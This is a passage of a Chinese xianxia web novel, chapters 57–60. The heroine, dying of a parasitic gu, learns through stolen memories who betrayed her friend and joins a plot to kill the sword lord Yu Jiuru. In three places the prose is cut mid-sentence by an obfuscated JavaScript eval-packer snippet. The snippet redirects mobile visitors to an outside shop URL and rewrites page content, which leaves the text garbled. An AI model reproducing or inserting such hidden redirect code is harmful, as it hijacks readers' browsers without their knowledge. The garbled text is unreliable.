不知过了多久,胸腔之内像是猛然被灌入了气体,初茵的身体忍不住想要弯曲,却被身后的手臂固定住了肩膀。 两只冰凉的手指抚上额头,灵力快速涌入身体,缓解了她的窒息感。 “闭上眼。” 听到郁九如的声音,她的心渐渐安定,呼吸也渐渐平稳下来。 到底发生了什么? 她怎么会有一种将死的感觉? 对于自己的身体发生的变化,她什么都不知道。 她发现自己体内的灵力全都消失了,此刻,他输给她的灵力很细,像是丝线一般,连绵不绝。 “郁九如。” “嗯。”黑暗里,他的嗓音更低沉。 “是不是快到时间了?” 郁九如沉默着没有回答。 初茵心中有了答案。 原来时间真的比自己想象的还要快,之前他就告诉过自己,这个身体只能撑三个月。 算算时间,也差不多了。 突然,她想到了自己答应易茗的事情,“等离开这里后,我能不能和……” “不能。” 她的话还没有说完,便被郁九如给拒绝了。 初茵愣了一下,联想到自己的身体状况,释然道:“那就算了。” 沉默良久之后,郁九如的嗓音低沉,“你想去哪里,我可以带你去。” 闻言,她幽幽叹了一口气,闭上眼,“就回昆仑吧。” 听到这个回答,郁九如垂下长睫,眼底闪过一丝黯然,“好。” 初茵以为自己会难以入睡,可闻着他身上凛冽的气息,她觉得自己像是又回到了冰天雪地的昆仑。 很快,她就睡沉了过去。 57. 幻境 “她只是失去了意识。” 廖大夫做了诊断后,郑重下了结论。 郁九如并不满意听到的答案,他冷漠道:“继续。” 廖大夫觉得他的运气很不好,就因为整个蛊城就只有他一个大夫,所以他就要受到这样的严刑逼供? “她和之前那位姑娘的情况很不一样,因为没有血肉,所以意识先被侵蚀了。” 他拿出一本不知道从哪里掏出来的书,翻了两页,道:“这本记录上也说了,源蛊选定宿主之后,首先是改变其身体,然后才是意识。” “可能是受你影响,她没有办法吸收血肉,就只能先融入意识了。” 这件事出乎郁九如的意料。 他以为有自己的血在,源蛊会停止生长,可现在看起来,堵死了血肉这条路,也并不会影响它的目的。 “我觉得这样也挺好的,如果她不是她了,那你动起来手也不会有什么顾及。” “而且,她没有身体的血肉作为依靠,更是毫无还手之力,比之前那个拿剑凶巴巴的姑娘好处理多了!” 廖大夫越说越兴奋,甚至有许多好处都突然冒出在他的脑海,“而且她不会觉得痛苦,因为在那之前,她的意识就消失了。算无遗策,你是不是早就想好了这一切?” 此刻,廖大夫真心觉得他很有高见。 之前来过的那位姑娘失去控制,差点把房子给掀了,如果不是郁九如,还有大量的麻药,他觉得自己可能早死了。 现在的情况简直是太好了。 他抑制不住脸上的笑意,“郁家小子,接下来不用管她了。就放在这,等灵气耗尽之后,很快,她就会彻底地消失了。” 说罢,他捋着胡须笑意满满地出去。 房间里恢复了安静。 郁九如看着她,发现她整张脸上都泛着惨白,就连额心留下的契印都淡了不少。 他缓缓伸出手,覆住了她的额头。 她会消失? 若是按照计划,她终究会消失。 此刻消失,便不必再忍受业火焚身之痛,一个失去理智的人偶,显然也不会生出什么多余的事端。 他的手掌控制不住地颤抖,源源不断的灵力从他的掌心灌入她的身体。 不知过了多久,初茵终于睁开了眼。 她的神色有些迷茫,盯了郁九如片刻,似乎才反应过来发生了什么。 看了一眼周围的环境,她问:“这是哪里?易师兄呢?” 郁九如深深看了她一眼,神色复杂,他起身,长长的阴影投在她身上。 “他在外面守着,你的身体出了点问题,好好休息别想太多。” 撂下这几句话后,他转身离开房间。 片刻之后,易茗和小凤推门进入房间里。 “姐姐,你昏迷了两天,终于醒了。” 初茵心里也很惊讶,她还以为只是昨天晚上的事情。 易茗看向她,神情凝重,“阿茵,你到底是怎么回事?” 修士的元神本就比普通人更强,所以,即便是只剩下元神,也不应该是这样孱弱的状态。 “我问了郁少君,他说你会给我回答。” 初茵有些苦恼,她明白郁九如的意思是让她自己做决定,可她现在就是拿不定主意。 “如你所见,我可能活不了多久,所以没办法和你一起四处游历。” 思忖之下,她还是决定隐瞒自己的情况。 “这不是问题。”易茗盯着她,“重要的是,你是怎么想的。” 初茵:“我怎么想?” 易茗低头看着她,语气严肃:“对,即便他救了你,你也不必勉强自己。我同你说过,恩情是恩情,不能和别的东西混为一谈。” 郁九如对她有一种隐约的占有欲,这让他有些担心。 他记得初茵以前最讨厌郁九如,即便如今她受了些恩情,也不必非要勉强自己和讨厌的人呆在一起。 恩情是恩情? 好熟悉的一句话,初茵想。 当初自己向他表白的时候,他就是这么说的。 “虽然我不是当年救你的人,但恩情是恩情,你莫要因那人救了你,便先入为主,觉得自己是喜欢他。” 易师兄是误会自己喜欢上郁九如了? 初茵勾起嘴角,露出一个浅浅的笑,“易师兄,我可不会因为他帮了我一点忙,就对他因恩生情。” 更何况,是郁九如需要她,而不是她需要郁九如。 易茗犹豫,“可我记得,你不是很讨厌昆仑?” “现在也是,可我有不得不去做的事情,这和喜欢无关。” 初茵不能解释过多,便只能道:“现在还不能告诉你,等事情结束了,你就知道了。” 那个时候,想必她的名字会传遍修真界。 这是唯一能让她觉得宽慰的事。 易茗看她的眼神带了一些宽仁,“只要你想离开,无论如何,我都会带你离开。” 初茵眨巴着眼睛,感叹道:“易师兄,你对我还是太好了,我怕我会忍不住喜欢你。” 易茗一愣,随即听出来她是在打趣自己,笑着摇头,“你啊!” * 月上中天,蛊城的地面像是均匀地铺了一层白霜。 “就是这样。君上,初姐姐真的会死吗?” 将听到的话学出来后,却没有得到回应,小凤不由抬头。 郁九如站在医馆外,仰面看向天空,垂下的墨发随风轻轻摆动,露出深邃俊美的一张脸。 如妖似魅。 小凤一时间看呆了。 郁九如垂下长睫,那清冷冷的眸子转向她,带着说不出的寒意。 “还不走。” 小凤不自觉打了一个哆嗦。 她转过身,小小的身体向半掩的门扉里钻。 “慢着。” 听到那疏冷的声音,她停下卡在门缝中的身体,转过头。 一支修长匀称的手伸到她面前,上面躺着一颗圆柱形的纸团,“拿着。” 捏起那颗糖果,一股热流瞬间涌上心头,她的心里泛起了无边的欣喜。 “谢谢君上。” “嗯。” 郁九如背过身。 在物资匮乏的蛊城,收买一个小孩的代价很低,一颗糖果便足够。 他不觉得自己这么做有什么不妥,易茗比他想象的难对付,这个节骨眼上绝不能出现一点差错。 初茵拒绝了易茗,她没有逃跑心思,他会少很多麻烦。 但不知为什么,他的心里却没有一丝欣慰的感觉。 * “君上还帮我们治病,他会不会放过我们。” 叶挽棠和孟星寒被关在院内的一处柴房里,两人依偎在一起,商量着出去之后的事。 孟星寒身上的蛊毒被廖大夫给解除了,此刻,他被叶挽棠拥在怀里,脸上浮现虚脱的笑意。 “挽棠,此刻就是死了,我也愿意。” 脑内抽痛,叶挽棠 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13002942|130071||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 脸上出现一丝扭曲,但还是咬着牙,安慰他不要胡思乱想。 她耳内的蛊毒只是缓解,并没有解除。 当时,白蝶夫人说她的蛊虫治不了,只能转移到另一个人身上。 她握紧了手中的药丸,心里有些纠结。 她垂下头,抚上他的脸庞,“星寒,若是有一个办法,能治我的病,但却需要你以命换命,你会同意吗?” 孟星寒看向她,抬手覆住抚摸上自己脸的那只手,镇定道:“我愿意的,阿挽。” “之前是我负了你,没有履行给你的允诺。我发过誓,以后都不会了。” 叶挽棠的脸上出现一丝动容。 自己现在唯一能依靠的就是他了,若他死了,自己怎么办? 叶家灵脉的事情败露,她已经不指望郁九如会再看自己一眼,若真离开蛊城,恐怕还有一堆的麻烦事等着她。 叶挽棠笑了笑,“我骗你的,我已经知道了,只有你是真心待我的。” “真的?”听她这么说,孟星寒不甚欢喜,“那你还喜欢郁九如吗?” “他?不喜欢了。” * 郁九如没有听这两人的话,他的注意力在不远处的一间房子里。 傍晚时,那间房子前门聚了不少人,帮忙挂了红绸、贴了喜字。 随后,进去了一对手挽手的新婚夫妇。 因为动静大,他抬眼看了几眼,也没有在意。 如今夜深人静,晚风寒凉,吹动了不远处摇晃的一对大红色灯笼。 原本没有动静的房间,突然传来了淫靡的声音。 他定力尚可,只靠默念清心咒倒也能屏蔽这些声音。 可他还要留意周围的情况,这就不能完全封闭自己的感官,那声音没有停下的迹象,反倒还越来越不堪入耳。 再过几个时辰,天就要亮了,若是重新找一个住处,似乎也没有必要。 就在他沉吟之际,突然一只白色的蝴蝶从眼前掠过。 果然来了! 他精神一振,持剑起身追上前。 几轮躲避后,白蝶落在红绸之上。 郁九如没有犹豫,抬手,剑芒划出,将那只白蝶整齐对半斩落。 屋檐下的红绸如水流一般,顺滑流畅,自他眼前缓缓落下。 这条绸缎似乎比印象中的要长,当他察觉不对劲时,已经站在了打开的房门之内。 这是那对小夫妻的房间。 四周寂静无声,他向前走了两步。 看清眼前的一切后,他僵立在原地。 烛火昏黄,红纱软帐内,男人自背后拥着怀中的女子,将头埋进她的颈项之中,细细研磨舔舐。 那女子是他再熟悉不过的脸,此刻她半阖双眸,隔着红色的薄纱看向他,眸光水润,口中发出细细的呢喃。 “郁九如。” 看着那张和自己一样脸的男子,郁九如怒极,幽泉剑脱手而出。 眼前的画面被斩成为碎片,但很快,又变得更加清晰,幻境中的那个“他”压在她身上,桎梏住她的双手,肆意妄为。 他心神震撼,脸色难看至极。 他想一剑斩碎所有的一切,但又知道这样,只不过是中了她的伎俩。 转身,闭眼。 他凝神屏息,默念咒语,试图脱离这个荒唐的幻境。 耳边响起来白蝶夫人恶劣的笑声:“原来你喜欢这样的?你不是最厌恶合欢宗的女子吗?难道和你爹一样,只是嘴上讨厌?” 58. 无力 初茵睁开眼,发现她的额头上方飘着一只巨大的白蝶。 “睡得很好嘛!”那只白蝶突然发出一个女人轻佻的声音。 初茵尝试想要动一动身体,但发现自己做不到。 “你是白蝶夫人?” “是我。”那只白蝶扑扇一下翅膀,“你还想知道奕如月的死因吗?我怎么觉得你一点也不着急。” 初茵想起易茗说他一直想要去见白蝶夫人,但却没能如愿。 “你见过奕如月?” 那只白蝶停在了她额头的位置,细细的触角踩在她额心,初茵感觉到一点痒。 “我没时间和你废话,你和我合作,我就告诉你奕如月的死因。” 她不去找易茗,却来找自己合作,初茵不觉得自己现在这个样子有什么能和她合作的? “我当然是冲着郁九如来的,他喜欢你。”她像是能感受到她的思维,立刻道。 喜欢我?初茵觉得可笑,觉得她的眼神不怎么样。 “很好,你不喜欢他。”白蝶立刻捕捉到了她的想法,“这比你们两情相悦要好处理。” 初茵睁大眼睛,努力向上看,她只能看到一团白色的阴影。 “别白费劲,我只是确定你没对我说假话。” 眼前似乎有一道白光闪过,初茵发现她的视线在逐渐转移,周围的一切都晃动起来。 最后,她看到了自己的脸。 ——她正漂浮在半空中。 “你在想做什么?”她的声音有些惊恐。 蝴蝶扇动翅膀,初茵的视线也开始摇晃,这种感觉让她想起自己寄生在郁九如身上的时候。 “别担心,我比郁九如仁慈多了,至少我不会杀了你。” 眼前是眩晕的画面,初茵听到白蝶夫人的声音近在耳边。 “难道你不想知道真相吗?奕如月进入魔渊到底发生了什么?你难道甘心就这么不明不白地死?” 不甘心又能如何,就算把那两个人绑起来,初茵也不觉得自己能逼问出来。 眼前闪过窗棂、长廊、红柱、草木,她还瞥到了在院中入定的易师兄。 最后,画面停下来,初茵看到了被困在柴房的叶挽棠和孟星寒。 两人像是睡着了一般依偎在一起,孟星寒脱掉了身上的外衫,垫在了叶挽棠身下。而叶挽棠也揽住了他的腰,靠在他胸口。 白蝶夫人感叹,“真是一对苦命鸳鸯。” 的确是一对恩爱的情侣,可初茵看到他们这样,只觉得恶心。 明明是两人之间的事情,却总是牵扯进无辜之人,受伤的是别人,身为罪魁祸首的这一对却还能抱在一起。 白蝶夫人发出一声嗤笑,“你看不惯他们?” “当然。”初茵毫不避讳地表达自己的厌恶。 白蝶最后的落脚点,是在一根柴房的枯枝上,这个角度能近距离地看清这两张脸。 “世人常说,看人要谨慎,不要看他说了什么,要看他做了什么。” “但其实这也不对。人的嘴巴会说谎,行为能伪装,但记忆却不会作假。而我可以带你进入他们的记忆之中。” 说到这,她刻意停顿下来。 看到记忆? 听到她的话,初茵心中忍不住悸动了一下。 她尝试了许多方法,都没有打探出魔渊到底发生了什么,她甚至想过使用搜魂,但这种禁术只有修真界的大能才有能力使用。 白蝶夫人的声音像是带着钩子,尾音轻飘,“给你看看我的诚意,你有一次机会看他们的记忆,男的还是女的,选一个。” 初茵的视线在这两人之间晃动了一瞬。 她立刻就做了决定。 …… 白蝶落在额心,记忆如潮水一般涌入。 她看到一个巨大的坑,里面有很多蛊虫在不断地爬出来,所有的弟子拼劲全力,结成了抵抗的法阵。 蛊潮。 她的脑海里冒出来两个字。 此刻,她发现自己在一个陌生的地方,手中握着剑,但这具身体却不是由自己控制。 她抬起头,看到了站在阵法最前方的奕如月。 剑光飞舞,她的长发高高束起,挺直的脊背透出一如既往地坚毅。 初茵心头颤动,想要叫出声音,但她发现自己和周围像是隔了一层屏障。 “真可笑,这个女人总是这样,站在最前面,摆出一副不怕死的样子,然后抢走所有的风头。” 初茵心里冒出一个古怪的念头。 很快,她就意识到,这不是自己的念头,而是叶挽棠心里的想法。 “只要走出这里,那就是云岚宗的奕如月带大家突出重围。明明弟子都死得差不多了,能撑到现在,是靠着叶家和孟家的修士。” 哼! 她心中忍不住冷笑, 但只要离开这里,所有的功劳都是她的。 叶挽棠的视线移向孟星寒。这也是个蠢货,之前明明答应过我要离她远一点,现在竟然又凑了过去。 不过是拿了人家一个镯子,就当成宝贝一样冲锋陷阵。 昆仑的法器? 合欢宗穷酸到这个地步了吗?竟然连定情信物都奉出来了。 她的视线移向回龙佩,打开之后的回龙佩,是一个很不错的防御武器,如果不是它,奕如月也撑不了那么久。 过了这一遭,风头出尽,她就又能当英雄了。 要不是自己的灵根,她原本也可以……想到这,她心里郁结。 突然,脑中闪过一个有趣的念头。 她挑了挑眉,手下一松,众人苦苦支撑的阵法瞬间失去平衡。 “怎么回事?” “小心!” “奕道友!” 她回过神,看到了前方跌倒在地的身影,而后,蛊虫一哄而上,瞬间冲散了阵法。 孟星寒抓住了即将跌入蛊坑的奕如月,回龙佩的光环将两人牢牢系在一起。 看着围上来的蛊虫,她惊慌失措地爬起来,向后倒退,“孟星寒!快来救我。” “阿挽!” 她抬起头,看到了向他奔来的男人的身影,他的右手攥着一枚闪着阵法的手镯。 …… “好了吗!” 白蝶夫人的声音突然出现,将她从梦境中惊醒。 她瞳孔努力聚焦,但眼前仍旧是一片眩晕。 周围一切的色彩像是混迹在一起,搅成了一个五光十色的大染缸。 “郁九如马上要过来了。你考虑好,如果想让我帮你,就离开这个院子。” 周围的景致乱晃,耳边是女人急切的声音。 身体突然一沉,她发现自己又重新回到了房间里。 初茵闭上眼,大口呼吸,浓黑的长睫覆在苍白的脸上,极力压制自己的情绪。 叶挽棠,还好,她看的是叶挽棠的记忆。 若是看了孟星寒的记忆,恐怕根本就不会知道事情全貌,只会认为是因为失误阵法才会出现问题。 尤其感受到叶挽棠那种扭曲恶心的想法后,她简直无法克制自己的恨意。 一开始,初茵就觉得叶挽棠没有胆量,也不该对阿月有敌意,加上她一直为难的都是孟星寒,初茵还以为她是一个明白人。 婚约之事,从始至终都是孟家高攀,叶挽棠没有胆量、更没有实力对阿月造成威胁。 但现在看来,她错了,错得离谱。叶挽棠不是喜欢使小性子,而是贪婪自大。 即便她并不喜欢孟星寒,也不能容忍自己在孟星寒心中的地位下降,更看不得他和别的女人在一起。 只是想到当时的场景,她的内心便觉得痛苦不堪,仿佛被千万只 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13016116|130071||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 蚂蚁啃噬着灵魂。 这两人实在令人厌恶至极,每一分每一秒都让她感到无比地煎熬。她只想立刻动手杀了他们,让他们为自己的所作所为付出相同的代价! 可惜她现在几乎成了废人一个。 门突然被打开,房内昏暗的烛火晃动了一下。 郁九如的身影出现在门口,他向房间内走来,脚步声急切。 初茵快速调整呼吸,片刻后,郁九如苍白俊美的脸出现在视线里。 他来到床前,视线在她的身上巡视一圈,在对上她的眼眸时,却又快速偏头挪开。 “发生什么事了吗?”他声线微喑,似乎很不自在。 初茵深吸一口气,放缓心跳,“好像,身体里没有灵力了。” 郁九如没说什么,他侧身坐下,手指探入薄被中,很自然握住她的手腕。 灵力一点点被输入身体,初茵盯着他,也察觉出一些不对劲。 虽说他此刻是在给自己输入灵力,可这样的举止,确实也太过于亲密,难怪白蝶夫人会误会他喜欢自己。 此刻,他侧脸对着自己,初茵突然发现他的耳尖通红,靠近耳根的那一片皮肤也有淡淡的薄红。 “郁九如。” 听到她唤自己的声音,郁九如心脏骤停,对上她视线的瞬间,那些画面再次涌入脑海,他立刻移开视线,喉结滚动。 “怎么了?”他语气镇定。 “你准备怎么处理那两人?” 郁九如怔了一瞬,才明白她说的是叶挽棠和孟星寒。 “带回昆仑,等审问出结果再处理。” 这个回答在她的预料之中,像是郁九如这样的人,行事板正,定然是不会同意把人交给自己处理。 而且,他还给叶挽棠治病,似乎是怕不能将她安稳地带出这里。 初茵心中浮现一丝失望,如果真的出去了,又有谁会相信自己的话。 而且,她也没有时间再等了。 郁九如等了一会,没有等到下句,便又转头看向她。 仔细看来,她整个人像是瘦小了一圈,脸上带着淡淡的倦意,那双黑漆的眼眸有些失神,视线虚浮在半空之中,看不出喜怒。 突然,那双眼神凝神看向他,“郁九如,我什么时候能下去走走?” “很快。”他道。 第二日,初茵就发现自己可以下床走动了。 不过,叶挽棠和孟星寒却不在这里。 “那个姐姐不知为什么昏迷了,漂亮哥哥把他们两个人送回了雷叔那里。” 小凤说着,从口袋里掏出来两块糖果,“姐姐,吃糖吗?” 初茵看了一眼她手中的糖果,奇道:“谁给你的。” “君上给我的。”她道。 这么小一个人,却整日“君上”来,“君上”去,她忍不住觉得有些想笑。 她问:“你之前不是说他很凶吗?” 小凤不好意思地垂下头,鞋底摩擦着地面,“他说能带我离开这里,还说,如果我没有地方去,还可以让我进宗门。” 初茵没想到郁九如还是这样惜弱怜贫的一个人,她拍了拍小凤的肩膀,“这么粗的大腿,你以后可要抱住了。” 小凤脸上露出向往的神色,“等出去以后,你和君上成婚,我们就能天天在一起了。” 初茵疑惑,“成婚?什么成婚?谁告诉你的。” “君上说了,漂亮哥哥是你的师兄,他是你的未婚夫,那你们以后不就是要成婚吗?” 对上小凤晶亮的眼睛,初茵不明白郁九如为什么要和一个小孩说这些,她只能含糊过去。 阵法的范围只在院内,郁九如不在,易茗送人还没有回来,想离开,现在就是最好的时机。 初茵看了一眼紧闭的院门,“小凤,你去帮我倒一杯水。” “好!” 59. 结盟 融雪宫内部像是巨大的巢穴,它没有规整的设计,只有一个个高悬穹顶的洞窟。 初茵被带到一处房间,门外站满了蝶甲卫。 她不知道白蝶夫人的目的,此刻便安静下来,在房间里打坐。 体内的灵力所剩不多,她只能通过这种安静的方法,来平复和减缓灵力的消失。 虽然她现在很想立刻去杀了叶挽棠,但理智告诉她,她还没有足够的力量,不能操之过急。 她盘腿而坐,深吸一口气。 “若是打坐就能熄灭仇恨,那这蛊城就不需要我了。” 轻挑的声音响起,初茵睁开眼,看到了摇曳着白袍,款款走来的女子。 她的一双眼睛极妩媚,眼角纹饰有蝴蝶翅膀的纹路,轻盈而富有生机。 初茵看向她,道:“你什么时候能带我去杀人?” “这你不用担心。”她道,“不过在那之前,我想和你谈一笔更好的交易。” “什么交易?” 白蝶夫人缓缓走向前,凑近她道:“我们一起杀了郁九如,你就能自由了。” 初茵盯着她,“我恐怕没这么大的本事。” 白蝶夫人颇为轻蔑地扫视她一眼,“放心,不需要你亲自动手,只要在必要的时候,帮我几个小忙就可以。” 初茵真的好奇了,“为什么?你和他有仇?” 女人皱眉看了她一眼,“你不会还不知道我是谁吧?” 初茵身体前倾,摆出一副洗耳恭听的姿态,“你是?” 白蝶夫人轻轻翻了一个白眼,“我是白容色。” “你是白容色?” 初茵惊愕地看着面前的女子,她就是曾经搅得昆仑天翻地覆的那个合欢宗“妖女”? 她竟然没有死,而是一直躲在了这里? “那,你和郁千彦?” “我知道郁九如是怎么告诉你的,他是不是说我横插一脚,所以才造成了他父母不和。”白容色轻蔑一笑。 初茵想了想,郁九如没有这样说过,但昆仑的其他人都是这样说的。 “我才是先认识千彦的那个人,要说插足,是江菱插足了我和他之间。” “当年合欢宗内乱,千彦以为我死了,所以才娶了江菱,不然怎么会轮到她。” 前尘往事自来是牵扯不清的,既然白容色肯说,她便听了下去。 郁九如的父亲去南疆时,遇到了同样在南疆寻找秘术的白容色,因为一些突然事故,两人便结伴同行。 后来,南疆蛊师怀疑两人的目的,他们便扮成了道侣,还在那里成了婚。 时间久了,两人假戏真做,互许心意。 离开南疆之后,两人约好各自处理完事情之后再会面。 可后来合欢宗突生内乱,白容色假死脱身,被师姐安排在秘境养伤,出去之时,得知郁千彦已经成婚了。 她气不过,便去昆仑找他算账。 初茵道:“那传闻郁千彦是为了救你而死,这是真的吗?” 白容色瞥了她一眼,却没有正面回答,“我倒希望是真的。” 见她不肯说,初茵也没有打破砂锅问到底的执着,她心里还装着另外一件事。 “所以,你是想让我帮你杀郁九如?” 白容色后退两步,像是评判一般打量着她,食指弯曲点着下巴,“你帮我去勾引郁九如?” “什么?!” “你去勾引郁九如,要他命的人另有其人。” 白容色似乎恨极了他,几乎是咬牙切齿地说出了她的要求。 初茵觉得她简直是不可理喻,且不说郁九如有没有心,就算是有,自己又怎么可能勾引上他。 “你的计划不可能成功。”初茵道。 白容色挑了挑眉梢,觑了她一眼道:“或许吧。就算他真对你有几分意思,我也不觉得他会对你手下留情。” 初茵面无表情:“你知道就好,所以你还是换一个计划。” 她无意插手这两人之间的恩怨,若是要郁九如知道她和她联手骗自己,那自己之后的日子指定不好过。 白容色嗤笑道:“不过你真是个胆小鬼。你师父是谁?” 初茵:“家师姓游。” “原来是她啊!那个老古板,难怪她把你教成这样。我有一个房间里面全是合欢宗的真传,如果你需要,我倒可以教教你。” 初茵听到她贬低自己的师父,心中不悦,“不必,我觉得师父教得很好。” 白容色有些意外,没想到她竟然还挺倔,她掀起长睫,上下扫了她一眼。 “所以,你真的没有一点求生的欲望,还是你自信郁九如一定会放过你。” 说到这里,她忍不住出笑出声音,“他会放过源蛊?” 听她说出自己的身份,初茵也没太意外,“他不会放过我。不过你也杀不了他,你要真有这个本事,何必来找我。” 初茵察觉到这个女人张狂又自信,但没想到,她竟然到了自负的程度。 昆仑剑君没那么容易死,坞篷都做不了的事情,她也没什么胜算。 “你说得没错,白夫人确实做不到。” 就在这时,一个年轻人慢悠悠走进了房间内,“不过,我们一起合作的话,那就有胜算了。” 初茵盯着他,这人有一张她很熟悉的面孔,像是一个人,但又有些区别。 青年摸了摸自己的脸,冲她咧嘴笑笑,“很像是吧?这年头想找一张称心如意的脸可不容易。” 初茵心中惊骇无比,他说话的语气,分明就是符布。 “你,你们是一伙的。” 白容色拂了拂长发,镇定道:“我们目标一致。” 符布站在她身后,点头笑道:“我想要郁九如的命,她想要孢衣蛊,而你,想要活着,刚好,郁九如是我们共同的敌人。” 初茵打断他道:“即便郁九如死了,我也未必能活着。” 她现在是源蛊的状态,就算没有郁九如,最后她的结局也不会太好。 符布微微一笑,“郁氏的血脉天生便能克制魔种,我向你保证,等他死了,他的身体和身份就都是你的,就像你之前那样。” 他竟然连自己占据过郁九如的身体都知道? 昆仑到底有多少卧底? 初茵深吸一口气,看向两人道:“你们考虑得很周全,我答应加入你们。” “明智的决定。”白容色含笑盯着她。 *< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13034929|130071||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 没有人再囚禁自己,初茵便能到处走走。 这里其实比她看到的还要大,除了宫殿楼阁,花草树木也一应俱全。 这里的树木是同一个品种,高高的树干,叶子顶端是一簇簇的小花堆,雪白一片,像是堆枝头的积雪。 风一吹,像是漫天的飘雪。 不仅如此,这里地面也是白色的,她蹲下去,揪了一棵草,发现这棵草的根部是绿色的,但叶子部分却是白色。 “白刹阵,牺牲一切色香味,换取更长久的存在。”慢悠悠的声音在身后响起,“你觉得这样值得吗?” 初茵回过头,发现不知何时符布出现在自己身后。 她随手扔掉树枝,拍拍手道:“我不知道,不过你活那么久,我觉得你应该有答案。你觉得值吗?” 虽然这张脸和自己见过的符布极为相似,但她却可以确定,他们不是同一个人。 两人的行为动作,说话语气都不一样。 非要说的话,就像是,性格不同,但却共享了记忆的双生子。 符布的笑容没有什么变化,“值得,我还没看到最想看的结局。” 初茵没有再继续追问,毫无疑问,南疆人最希望看到的就是修士死绝。 她点点头,“活了这么多年,只为了追杀姓郁的。我能问问你为什么这么恨他们?” 在初茵看来,即便是再恨一个人,当那人死后,这份恨意应该也消散了。 再不济,诛灭九族。 但恨到连这人的每一个后人都想杀死,这实在是让她有些不能理解。 符布勉强笑了一下,但掩饰不住神色中的阴翳,“我可能没办法回答你,我虽然继承了他的意志,但我却并不是主体。” “主体的记忆不愿与我们分享,所以我不知道。” 他回答的很坦然。 初茵心中惊讶,但她的面上却并没有表露出来,“那之前在合欢宗的时候,是你吗?” 符布:“那是我的哥哥,我们的记忆是共享的。” 他似乎并不忌讳对她说出实情。 初茵不理解他们的继承体系,她想再多问一些,面前突然出现一对蝶甲卫。 “夫人邀请两位去商量一下明日的计划。” 白容色说,她的计划很简单,但初茵听了一遍,却觉得实在是太难。 白容色说她知道白骨城在哪,但她没有进去的方法,这方法只在郁氏族人之中代代相传。 所以,第一步就是要进入郁九如的梦境里。 进入郁九如的梦境,又不能引起他的怀疑,这个重任落到了初茵的头上。 “你的行为不能逃脱梦主的暗示,否则,他会怀疑这个世界的真实性。” 初茵还是没有听懂,“所以我到底要做什么?” 白容色的耐性并不好,“简而言之,你要扮演他想象中的你,注意,不要违逆他的想象。必要的时候,我会给你提示。” “然后呢?” “然后你要让他回忆起进入白骨城的方法。” 初茵看向符布,“那他呢?他什么都不用做?” 符布微微一笑,“不,我会和你一起进入梦境,然后,在梦里杀他六次。” 60. 梦境(一) 夜色里,一只纯白的轿撵冲出融雪宫,在半空中疾驰。 它的轿体是镂空的,前方的两匹马薄薄一片,奔跑的姿态诡异,像是剪出来的白纸贴。 离得再近一些时,便能发现那些马是由蝴蝶拼合而成的。 这辆纯白的车撵速度极快,无声无息地越过蛊城的上空,向着东方而去。 白容色掀开帘子,看了一眼,“郁九如跟来了。” 符布眯了眯眼,“真可惜,现在不能杀了他。” 白容色冷笑道:“如果你想动手,我也不会阻止。” 初茵不动声色地观察,马车的方向并不是向着镜湖而去,可见众口相传的消息也并不属实。 白容色在这里潜伏这么多年,想来就是为了守住这个秘密。 很快,车撵在半空停下来。 马匹和轿厢同时消失,白蝶漫天散落,初茵双脚着地,来到这一行的终点。 稀薄的月光下,眼前出现一个巨大的魔渊。 这个目的地出乎她的意料,但想了一下,又觉得在情理之中。 这里是魔种诞生的地方,没人敢靠近,虽然这里有通向蛊城的通道,但确有旁人不知道的时间限制。 符布笑了一声,语气轻快,“原来藏在这了。” 说罢,他抬腿钻进那诡异不见底的黑暗里。 “没多少时间了。”白容色说着,拉着初茵一跃而入。 * 初茵被拉着飞行在半空中,她觉得此刻的自己像是一只蝴蝶,所有景色尽收眼底。 “待会如果我找到机会,立刻就会把你带入他的梦境里。不要多问,我让你做什么,你就做什么。” 初茵看着周围古怪的场景,甚至没留意白容色的喋喋不休。 魔渊里竟然有一座空城? 初茵原以为这里全都是魔种,但没有想到,是一座巨大苍白的城市。 是的,这个城市是没有颜色的苍白,整个城市像是被浸入了粘稠的黑色液体之中,只露出了建筑的上部分。 这些黏液像是活着的什么生物,表面泛起一阵阵的气泡。 “太恶心了。”初茵忍不住说出口。 白容色没有回答,毕竟她操控着翅膀飞起来就很困难了,还要时不时躲避突然冒出来的一两缕黑气。 很快,三人在一个白色的塔尖停了下来。 这里有一道屏障,刚好可以让他们躲起来。 白容色道:“等他先进巫神殿,我们再过去。” 初茵也看到了那个最高的建筑,一眼望去全是浓稠的黑水,只有那一座建筑因为足够高而纤毫不染。 远远看过去,它简直像是污泥烂潭里生出的一朵白莲,干净得让人觉得不可思议。 她忍不住问:“这里就是白骨城?” “是这里。”符布语气肯定,“千年之前的魔君被天道所不容,只要踏足白日之下,便会有雷劫突降。” 